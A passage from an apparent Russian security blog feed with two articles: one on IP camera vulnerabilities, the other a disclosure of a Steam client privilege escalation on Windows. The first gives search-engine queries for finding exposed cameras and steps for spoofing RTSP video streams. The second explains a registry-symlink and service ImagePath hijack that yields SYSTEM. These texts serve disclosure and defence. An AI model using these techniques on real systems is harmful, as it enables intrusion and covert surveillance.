  &lt;p&gt; При этом камеры видеонаблюдения — не только оптика и память. Каждая из них фактически содержит миникомпьютер с операционной системой и служебными программами. Если камеры подключены к интернету, значит, в них присутствует сетевой стек TCP/IP со всеми известными и не очень уязвимостями. Разработчики, использующие уязвимые версии ОС или или указавшие в коде без возможности изменения SSID и пароль, заслуживают самого строгого наказания, но к сожалению, это не поможет сделать продукцию их компаний безопасной. Ситуацию усугубляет появление у камер интеллекта, причём не важно, встроен он в саму камеру или работает в дата-центре, в который передаются видеоданные. Уязвимое устройство в любом случае станет источником проблем, причём чем выше интеллект системы, тем разнообразнее эти проблемы. &lt;/p&gt;
  &lt;p&gt; Камеры видеонаблюдения становятся более совершенными технически, чего нельзя сказать о качестве их программной начинки. Вот лишь некоторые из уязвимостей, &lt;a href=&quot;https://ipvm.com/reports/security-exploits&quot; target=&quot;_blank&quot;&gt;зафиксированных в камерах различных производителей исследовательской компанией IPVM&lt;/a&gt; в 2018 году:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;в декабре 2018 года в &lt;a href=&quot;https://psirt.bosch.com/Advisory/BOSCH-2018-1202.html&quot; target=&quot;_blank&quot;&gt;IP-камерх Bosch обнаружена ошибка переполнения буфера CVE-2018-19036&lt;/a&gt;, позволявшая злоумышленнику выполнить код без авторизации на устройстве;&lt;/li&gt;
    &lt;li&gt;в августе 2018 &lt;a href=&quot;https://tools.cisco.com/security/center/viewAlert.x?alertId=56496&quot; target=&quot;_blank&quot;&gt;в IP-камерах Hikvision зафиксирована уязвимость&lt;/a&gt;, обеспечивавшая злоумышленнику привилегированный доступ к устройству и его использование для атак;&lt;/li&gt;
    &lt;li&gt;июль 2018 года принёс известие об ошибке в камерах Sony IPELA E: &lt;a href=&quot;https://blog.talosintelligence.com/2018/07/sony-ipela-vulnerability-spotlight-multiple.html&quot; target=&quot;_blank&quot;&gt;специально сконструированный HTTP GET-запрос приводил к несанкционированному исполнению команд&lt;/a&gt;;&lt;/li&gt;
    &lt;li&gt;июнь 2018 года — &lt;a href=&quot;https://www.vdoo.com/blog/vdoo-discovers-significant-vulnerabilities-in-axis-cameras&quot; target=&quot;_blank&quot;&gt;публикация VDOO о семи уязвимостях нулевого дня в IP-камерах Axis&lt;/a&gt;, позволяющих перехватить управление камерами и получить доступ root.&lt;/li&gt;
    &lt;li&gt; Уязвимости камер можно разделить на две больших группы — уязвимости производства и уязвимости использования.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Уязвимости производства&lt;/h3&gt;
  &lt;p&gt; Сюда относятся все проблемы, связанные с реализацией функциональности IP-камер. Главная из них состоит в том, что стоимость аппаратной части камер значительно меньше, чем затраты на разработку прошивки. Результатом стремления компаний сэкономить становятся самые странные решения, например,&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;необновляемые прошивки или прошивки без автоматического обновления,&lt;/li&gt;
    &lt;li&gt;возможность получить доступ к веб-интерфейсу камеры путём многократных попыток ввести неправильный пароль или нажатия кнопки «Отмена»,&lt;/li&gt;
    &lt;li&gt;открытый доступ ко всем камерам с сайта производителя,&lt;/li&gt;
    &lt;li&gt;неотключаемая заводская сервисная учётная запись со стандартным паролем или без него (такую уязвимость использовала в 2016 году хакерская группа Lizard Squad &lt;a href=&quot;https://www.engadget.com/2016/07/03/lizard-squad-creates-botnet-from-thousands-of-cameras/&quot; target=&quot;_blank&quot;&gt;для создания DDoS-ботнета с мощностью атак до 400 ГБ/c&lt;/a&gt; из камер видеонаблюдения),&lt;/li&gt;
    &lt;li&gt;возможность несанкционированного изменения настроек даже при включённой авторизации и запрете анонимного доступа,&lt;/li&gt;
    &lt;li&gt;отсутствие шифрования видеопотока и/или передача учётных данных в открытом виде,&lt;/li&gt;
    &lt;li&gt;использование уязвимого веб-сервера GoAhead,&lt;/li&gt;
    &lt;li&gt;тиражирование уязвимых прошивок (распространено среди китайских производителей устройств),&lt;/li&gt;
    &lt;li&gt;уязвимости устройств для хранения видео — например, совсем недавно была опубликована информация о &lt;a href=&quot;https://www.synology.com/en-us/company/news/article/2019JulyRansomware/Synology%C2%AE%20Urges%20All%20Users%20to%20Take%20Immediate%20Action%20to%20Protect%20Data%20from%20Ransomware%20Attack&quot; target=&quot;_blank&quot;&gt;проникновении на сетевые накопители Synology&lt;/a&gt; и &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/attackers-are-wiping-iomega-nas-devices-leaving-ransom-notes/&quot; target=&quot;_blank&quot;&gt;Lenovo Iomega&lt;/a&gt; вредоносов, удаляющих или шифрующих файлы и вымогающих выкуп.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Уязвимости использования&lt;/h3&gt;
  &lt;p&gt; Даже если производители камер исправят все ошибки и выпустят идеальные с точки зрения безопасности камеры, это не спасёт ситуацию, поскольку никуда не денутся рукотворные уязвимости, причина которых — в людях, обслуживающих оборудование:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;использование паролей по умолчанию, если есть возможность их изменить;&lt;/li&gt;
    &lt;li&gt;отключение шифрования или VPN, если камера позволяет его использовать (справедливости ради скажем, что далеко не все камеры обладают достаточной производительностью для такого режима работы, &lt;a href=&quot;https://www.securitylab.ru/forum/forum16/topic53161/&quot; target=&quot;_blank&quot;&gt;превращая этот способ защиты в чистой воды декларацию&lt;/a&gt;);&lt;/li&gt;
    &lt;li&gt;отключение автоматического обновления прошивки камеры;&lt;/li&gt;
    &lt;li&gt;забывчивость или халатность администратора, не обновляющего прошивку устройства, которое не умеет делать это автоматически.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Как найти уязвимости?&lt;/h3&gt;
  &lt;p&gt; Легко. Многие владельцы IP-камер считают, что если они нигде не публикуют информацию о них, никто не узнает о них и не попытается их взломать. Как ни удивительно, такая беспечность — довольно распространённое явление. Между тем существует масса инструментов, которые позволяют автоматизировать поиск доступных через интернет камер.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://www.shodan.io/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Shodan&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/wl/jf/ey/wljfey0hlrcrth1zsxpw3vrgw-0.png&quot; width=&quot;2016&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Имеет свой язык запросов и позволяет помимо прочего найти камеры в каком-либо городе или стране. При нажатии на хост показывает подробную информацию о нём.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://www.zoomeye.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;ZoomEye&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/vj/9_/zs/vj9_zsqsq-itjmwcd6zagsue5bw.png&quot; width=&quot;2608&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Поисковый сервис по IoT. Поиск IP-камер — «device:media device».&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://censys.io/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Censys&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/pv/h2/sz/pvh2szdzounr9-cutcfdh2q7ykq.png&quot; width=&quot;2294&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Ещё один продвинутый сервис для поиска самых разных сетевых устройств. Запрос «metadata.manufacturer:«axis»» выведет список подключённых к интернету камер, выпущенных компанией Axis.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Главный поисковик планеты на высоте и в деле поиска IP-камер. Указав в строке поиска что-то типа «inurl:«viewerframe?mode=»» или «inurl:«videostream.cgi»», также можно получить список камер, доступных через интернет.&lt;/p&gt;
  &lt;h3&gt;Эксплуатация уязвимостей&lt;/h3&gt;
  &lt;p&gt; Разумеется, киберпреступники не занимаются ручным поиском багов. Всю чёрную работу выполняют скрипты, выбирающие из списка камеры, взлом которых принесёт финансовую выгоду. Например, можно &lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://www.howtogeek.com/408036/what-is-the-mirai-botnet-and-how-can-i-protect-my-devices/&quot; target=&quot;_blank&quot;&gt;создать ботнет для проведения заказных DDoS-атак или прямого вымогательства&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;, как сделали авторы вредоноса Mirai, захватившего контроль над полумиллионом уязвимых устройств IoT по всему миру.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Создние ботнетов&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Ботнет — это группа из нескольких компьютеров и/или устройств, объединённых под управлением одного или нескольких командных серверов. На устройства устанавливается специальный софт, который по команде из центра выполняет разные задачи. Это может быть рассылка спама, проксирование трафика, DDoS и даже майнинг криптовалюты.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Шантаж&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Захват контроля над камерами и видеорекордерами даёт возможность наблюдать за частной жизнью людей, среди которых могут быть государственные деятели и просто известные личности. Публикация видео с их участием способна вызвать скандал и нанести ущерб репутации владельца, а значит, угроза обнародования ­— серьёзный мотив для требования выкупа.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Сокрытие преступлений&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; В фильмах часто показывают, как преступники подменяют видеопоток на камерах, чтобы ограбить банк или проникнуть на секретную базу. Казалось бы, с переходом на цифровые технологии подмена изображения должна стать невозможной, однако это не так. Чтобы подменить запись на IP-камере, достаточно&lt;/p&gt;
  &lt;ol&gt;
    &lt;li&gt;получить RTSP-ссылку для камеры, поток с которой требуется подменить,&lt;/li&gt;
    &lt;li&gt;используя эту ссылку, записать поток в видеофайл,&lt;/li&gt;
    &lt;li&gt;воспроизвести записанный видеоряд в режиме потокового вещания,&lt;/li&gt;
    &lt;li&gt;защититься от вторичной подмены потока.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt; Очевидно, что имея записанный видеофайл, можно сделать с ним массу интересного, например, убрать «лишние» фрагменты или добавить новые.&lt;/p&gt;
  &lt;p&gt; Отдельно стоит упомянуть современные интеллектуальные камеры с возможностью распознавания лиц. Такие системы успешно эксплуатируются в Китае, России и других странах.&lt;/p&gt;
  &lt;p&gt; В 2017 году журналист BBC выяснил, что для &lt;a href=&quot;https://vimeo.com/297698301&quot; target=&quot;_blank&quot;&gt;задержания преступника с использованием китайской системы распознавания лиц, достаточно всего семи минут&lt;/a&gt;.&lt;/p&gt;
  &lt;p&gt; В зависимости от реализации сопоставление изображения с эталонной базой данных может выполняться на специальном сервере или прямо на камере. Оба способа имеют свои преимущества и недостатки:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;камеры со встроенным распознаванием имеют более мощную аппаратную базу и поэтому стоят значительно дороже, чем обычные, но при этом они передают на сервер не видеопоток, а только метаданные с результатами распознавания;&lt;/li&gt;
    &lt;li&gt;распознавание на сервере требует передачи всего видеопотока, а значит, требует более широкого канала связи и ограничивает количество камер, которые можно подключить, но при этом каждая камера стоит в разы дешевле.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt; С точки зрения эксплуатации в преступных целях оба варианта эквивалентны, поскольку хакеры могут:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;перехватить поток и подменить видеоданные,&lt;/li&gt;
    &lt;li&gt;перехватить поток и подменить метаданные,&lt;/li&gt;
    &lt;li&gt;взломать сервер распознавания и фальсифицировать изображения в эталонной базе,&lt;/li&gt;
    &lt;li&gt;взломать камеру и модифицировать её софт, либо изменить настройки.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt; Таким образом, даже интеллектуальное распознавание не исключают возможности добиться ложного срабатывания системы, либо, наоборот, сделать так, чтобы преступник остался невидимым.&lt;/p&gt;
  &lt;h3&gt;Как защититься&lt;/h3&gt;
  &lt;p&gt;&lt;strong&gt;Обновляйте прошивки&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Устаревшие прошивки с большой вероятностью содержат уязвимости, которыми могут воспользоваться хакеры, чтобы перехватить управление камерой или внедриться на хранилище видеоданных.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Включайте шифрование&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Шифрование трафика между камерой и сервером защищает от MiTM-атак и перехвата учётных данных&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Включайте OSD&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Если ваши камеры не справляются с шифрованием, включите на них простановку даты и времени на видеозапись. Тогда подменить картинку станет труднее.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Фильтруйте IP&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Ограничьте диапазон адресов, с которых можно подключиться к вашей системе видеонаблюдения. «Белые» списки и ACL ограничат свободу действий для злоумышленников.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Измените пароли по умолчанию&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Пусть это будет первым действием при установке новых камер или монтаже системы.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Включите обязательную авторизацию&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Даже если кажется, что на этапе настройки отсутствие авторизации упростит работу, включите её сразу.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Не выставляйте камеры в интернет&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Подумайте, действительно ли вам требуется доступ к камерам видеонаблюдения через интернет. Если нет — пусть работают внутри локальной сети.&lt;/p&gt;
  &lt;p&gt;Источник: https://habr.com/ru/company/trendmicro/blog/465513/&lt;/p&gt;
  &lt;h3&gt;by @it_ha&lt;/h3&gt;

</content></entry><entry><id>it_ha:SJNFNntQH</id><link rel="alternate" type="text/html" href="https://teletype.in/@it_ha/SJNFNntQH?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_ha"></link><title>Steam Windows Client Local Privilege Escalation 0day</title><published>2019-08-08T14:40:59.541Z</published><updated>2019-08-08T14:40:59.541Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/bc/bc97f623-6e74-46b5-aa2e-b28da4608eae.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/da/da263f04-f0ba-4cbc-8ddb-4179bff53dc9.png&quot;&gt;Я не первый год занимаюсь поиском уязвимостей, и, казалось бы, многое видел, но есть такая часть работы, к которой не удается привыкнуть и которую не могу понять. Это абсолютное нежелание вендоров принимать информацию об уязвимостях и проблемах. Я понимаю, что очень неприятно, когда тебе прямо показывают, что ты допустил ошибку и, скорее всего, не одну. Неприятно подтверждать в открытых источниках публично, что проблемы были, что сотрудники что-то недоработали. Но я не понимаю почему информацию об уязвимости нужно отвергать.</summary><content type="html">
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/da/da263f04-f0ba-4cbc-8ddb-4179bff53dc9.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;Я не первый год занимаюсь поиском уязвимостей, и, казалось бы, многое видел, но есть такая часть работы, к которой не удается привыкнуть и которую не могу понять. Это абсолютное нежелание вендоров принимать информацию об уязвимостях и проблемах. Я понимаю, что очень неприятно, когда тебе прямо показывают, что ты допустил ошибку и, скорее всего, не одну. Неприятно подтверждать в открытых источниках публично, что проблемы были, что сотрудники что-то недоработали. Но я не понимаю почему информацию об уязвимости нужно отвергать.&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt; Итак, герой нашей истории — ПО Steam от компании Valve. И уязвимость повышения привилегий в нем, которая позволяет любому пользователю выполнить команды от имени NT AUTHORITY\SYSTEM.&lt;/p&gt;
  &lt;h2&gt;Уязвимость&lt;/h2&gt;
  &lt;p&gt; Сама уязвимость довольно простая. Steam для своей работы устанавливает сервис “Steam Client Service”. Глянем на &lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://habr.com/ru/company/pm/blog/442662/&quot; target=&quot;_blank&quot;&gt;SDDL-описатель&lt;/a&gt; сервиса:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;O:SYG:SYD:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;RPWP;;;BU)&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt; Здесь нас интересует часть (A;;RPWP;;;BU). В данном случае, эта запись означает, что запускать и останавливать сервис может любой пользователь из группы «Пользователи».&lt;/p&gt;
  &lt;p&gt; Посмотрим, что сервис делает при старте. Не особо много интересного, но есть часть операций, которые выглядят необычно — сервис перечисляет содержимое раздела &lt;/p&gt;
  &lt;p&gt;&lt;em&gt;HKLM\SOFTWARE\Wow6432Node\Valve\Steam\Apps&lt;/em&gt; и для всех подразделов выставляет какие-то права.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/2v/mv/gg/2vmvggjjqewmdql0d5lp3n4o218.png&quot; width=&quot;1360&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Интересно, что же за права выставляются? Создаем тестовый ключ, запускаем сервис (лог procmon’а выше) и смотрим, что с правами. Тут и обнаруживается, что еще у раздела &lt;em&gt;HKLM\SOFTWARE\Wow6432Node\Valve\Steam&lt;/em&gt; выставлены права на полный доступ для всех пользователей, которые наследуются на все подключи. Рождается гипотеза, что такие же права будут выставляться и всем подразделам &lt;em&gt;HKLM\SOFTWARE\Wow6432Node\Valve\Steam\Apps&lt;/em&gt; через вызов &lt;em&gt;RegSetKeySecurity&lt;/em&gt;. А что если в реестре будет стоять симлинк, и ветка &lt;em&gt;HKLM\SOFTWARE\Wow6432Node\Valve\Steam\Apps\test&lt;/em&gt; будет указывать, например на &lt;em&gt;HKLM\SOFTWARE\test2&lt;/em&gt;?&lt;/p&gt;
  &lt;p&gt; Проверяем и видим, что права в случае симлинка прописываются для целевой ветки реестра.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/az/7r/a2/az7ra2cygfrwksvjvqk8a-id7rc.png&quot; width=&quot;944&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Проверяем права у целевой ветки и видим в SDDL-форме (пропуская неинтересное):&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;(A;ID;KA;;;BU)(A;OICIIOID;GA;;;BU)&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt; В словесной форме это означает, что полный (чтение и запись) доступ для всех пользователей. Именно такие права прописал ветке сервис Steam.&lt;/p&gt;
  &lt;p&gt; Теперь, когда подготовлен примитив по получению контроля над практически любой веткой реестра, докрутить PoC уже легко. Я выбрал ветку &lt;em&gt;HKLM\SYSTEM\ControlSet001\Services\msiserver&lt;/em&gt; — она соответствует сервису «Установщик Windows», который тоже может быть запущен пользователем, но работать сервис будет с правами NT AUTHORITY\SYSTEM. После получения контроля над веткой &lt;em&gt;HKLM\SYSTEM\ControlSet001\Services\msiserver&lt;/em&gt; мы меняем путь к исполняемому файлу в ключе &lt;em&gt;ImagePath&lt;/em&gt; и запускаем сервис msiserver. Наш исполняемый файл запускается с максимально возможными правами — NT AUTHORITY\SYSTEM.&lt;/p&gt;
  &lt;p&gt; Собираем все, что написано выше в код и получаем простое повышение привилегий на любом компьютере с Windows, где установлен Steam.&lt;/p&gt;
  &lt;h2&gt;Сообщение об уязвимости&lt;/h2&gt;
  &lt;p&gt; Я отправил отчет об уязвимости в Valve через Hackerone.&lt;/p&gt;
  &lt;p&gt; Тут меня ждала первая неожиданность — прежде чем передавать уязвимость непосредственно в Valve, мне нужно было сначала убедить hackerone staff в том, что у меня действительно отчет об уязвимости, так как Valve используют функцию &lt;strong&gt;«Managed by HackerOne»&lt;/strong&gt;. Мне не жалко — у меня PoC, который вызывает консоль от имени NT AUTHORITY\SYSTEM — доказательства на лицо. И я получаю отказ в отчете. Причиной указывается, что мой отчет вне скоупа исследований, поскольку «Attacks that require the ability to drop files in arbitrary locations on the user&amp;#x27;s filesystem.» (атака требует возможности располагать файлы в произвольных путях файловой системы). Моя реакция: «У меня даже нет ни одной операции с файловой системой, но отказ по такой причине, серьезно?»&lt;/p&gt;
  &lt;p&gt; Пишу комментарий об этом и приходит другой сотрудник, который все же берется проверять уязвимость. Подтверждает ее и передает Valve. Ура, цель достигнута. Или нет…?&lt;/p&gt;
  &lt;p&gt; Проходит время и отчет снова помечается как неприменимый. Причины: «Attacks that require the ability to drop files in arbitrary locations on the user&amp;#x27;s filesystem» и «Attacks that require physical access to the user’s device» (атака требует физический доступ к устройству пользователя). Тут я понял, что атаки на повышение привилегий попросту не интересны Valve.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Небольшой комментарий по поводу причин&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Поскольку прошло 45 дней с момента отчета, я решил публично раскрыть детали уязвимости, хотя я не уверен, что это сподвигнет разработчиков Steam внести изменения.&lt;/p&gt;
  &lt;p&gt; Небольшие статистические данные: уязвимость была проверена на Windows 8 x64, Windows 8.1 x64 и Windows 10 x64. Я не знаю особенностей нумерации версий ПО Steam, поэтому зафиксирую версии компонентов сервиса:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;SteamService.dll (5.16.86.11, подписан Valve 14.06.2019)&lt;/li&gt;
    &lt;li&gt;SteamService.exe (5.16.86.11, подписан Valve 14.06.2019)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt; Таймлайн:&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;15 июня&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; — отправлен отчет об уязвимости.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;16 июня&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; — отклонен, «Attacks that require the ability to drop files in arbitrary locations on the user&amp;#x27;s filesystem.».&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;16 июня&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; — переоткрыт с комментарием.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;2 июля&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; — подтвержден сотрудником HackerOne, передан Valve.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;20 июля&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; — отклонен, «Attacks that require the ability to drop files in arbitrary locations on the user&amp;#x27;s filesystem.», «Attacks that require physical access to the user’s device.».&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;7 августа&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; — опубликована эта статья.&lt;/p&gt;
  &lt;h2&gt;Немного спекуляций&lt;/h2&gt;
  &lt;p&gt; Я очень разочарован. Серьезная компания, которая пишет пафосные слова о том, что безопасность важна, открывает ваш компьютер для максимального доступа любым программам, которые вы запускаете.&lt;/p&gt;
  &lt;p&gt; Довольно иронично обнаружить, что лаунчер, который фактически предназначен для того, чтобы запускать сторонние программы на вашем компьютере, позволяет им втихую получить максимальные привилегии. Вы уверены, что бесплатная игра, сделанная на коленке неизвестным разработчиком, будет вести себя честно? Верите, что за скидку в 90% вы не получите скрытый майнер? Конечно, часть угроз останется и при работе без прав администратора, но высокие права у вредоносных программ могут существенно попортить нервов – отключение антивируса, закрепление в системные автозагрузки, изменение практически любых файлов, любых пользователей.&lt;/p&gt;
  &lt;p&gt; Благодаря популярности Steam, количество потенциальных пострадавших очень велико. В 2015 году количество активных учётных записей Steam оценивалось как 125 миллионов. Да, не у всех пользователей Steam ОС Windows, но у большинства точно, и у каких-то пользователей по нескольку «живых» аккаунтов на одной машине. Но масштабы проблемы все же впечатляют.&lt;/p&gt;
  &lt;p&gt; А может все это оставлено специально? Может, Steam — это своего рода легальный бекдор? Точно установить это невозможно, но давайте сопоставим факты:&lt;/p&gt;
  &lt;ol&gt;
    &lt;li&gt;Есть уязвимость, которую легко эксплуатировать (причем, судя по &lt;a href=&quot;https://twitter.com/enigma0x3/status/1148031014171811841&quot; target=&quot;_blank&quot;&gt;сообщениям в твиттере&lt;/a&gt;, не одна).&lt;/li&gt;
    &lt;li&gt;Ее довольно легко обнаружить — я не уверен, что я первый нашел ее, но как минимум первый описал публично.&lt;/li&gt;
    &lt;li&gt;Нежелание принимать отчет о такой уязвимости и похожих (скоуп специально выбран так, что повышение привилегий из него выпадает).&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt; Все это мне очень не нравится. Я не буду призывать вас удалять Steam, но предлагаю быть очень внимательным с тем, что он делает. На кону ваша безопасность.&lt;/p&gt;
  &lt;h2&gt;Бонус&lt;/h2&gt;
  &lt;p&gt; Дело в том, что в процессе подготовки этой статьи произошло довольно интересное событие, в связи с которым я решил дополнить таймлайн.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;20 июля&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; — после отклонения отчета, я предупредил h1, что публично раскрою детали уязвимости после 30 июля.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;2 августа&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; — еще один сотрудник h1 отмечается в закрытом отчете и говорит, что они не разрешают мне проводить раскрытие.&lt;/p&gt;
  &lt;p&gt; Данная статья была подготовлена к публикации уже к 30 июля (такая дата была выбрана из расчета 45 дней после отправки отчета), но задержалась. И вот, спустя две недели от моего сообщения 20 июля, появляется человек, который говорит мне: «мы не даем разрешение на раскрытие уязвимости». Фактически, получается: мы отметили твой отчет, как неподходящий, мы закрыли обсуждение, мы не посчитали нужным ничего тебе объяснять и мы просто не хотим, чтобы ты публиковался. При этом не единого слова от Valve. Нет, ребята, так дело не пойдет. Вы не стали уважать мою работу, я не буду уважать вашу — не вижу причин не публиковать этот отчет для всех. Скорее всего меня забанят на h1 из-за этого, но я огорчаться не стану.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;UPD.&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt; Оказывается вчера вышло обновление Steam. Нет, оно ничего не исправило.&lt;/p&gt;
  &lt;p&gt; Версия файлов: 5.27.59.20 подпись от 6.08.2019.&lt;/p&gt;
  &lt;p&gt;Оригинал статьи на англ: &lt;a href=&quot;https://amonitoring.ru/article/steamclient-0day/&quot; target=&quot;_blank&quot;&gt;https://amonitoring.ru/article/steamclient-0day/ &lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Перевел: &lt;a href=&quot;https://habr.com/users/xi-tauw/&quot; target=&quot;_blank&quot;&gt;xi-tauw&lt;/a&gt;&lt;/p&gt;
  &lt;h3&gt;By @it_ha&lt;/h3&gt;

</content></entry></feed>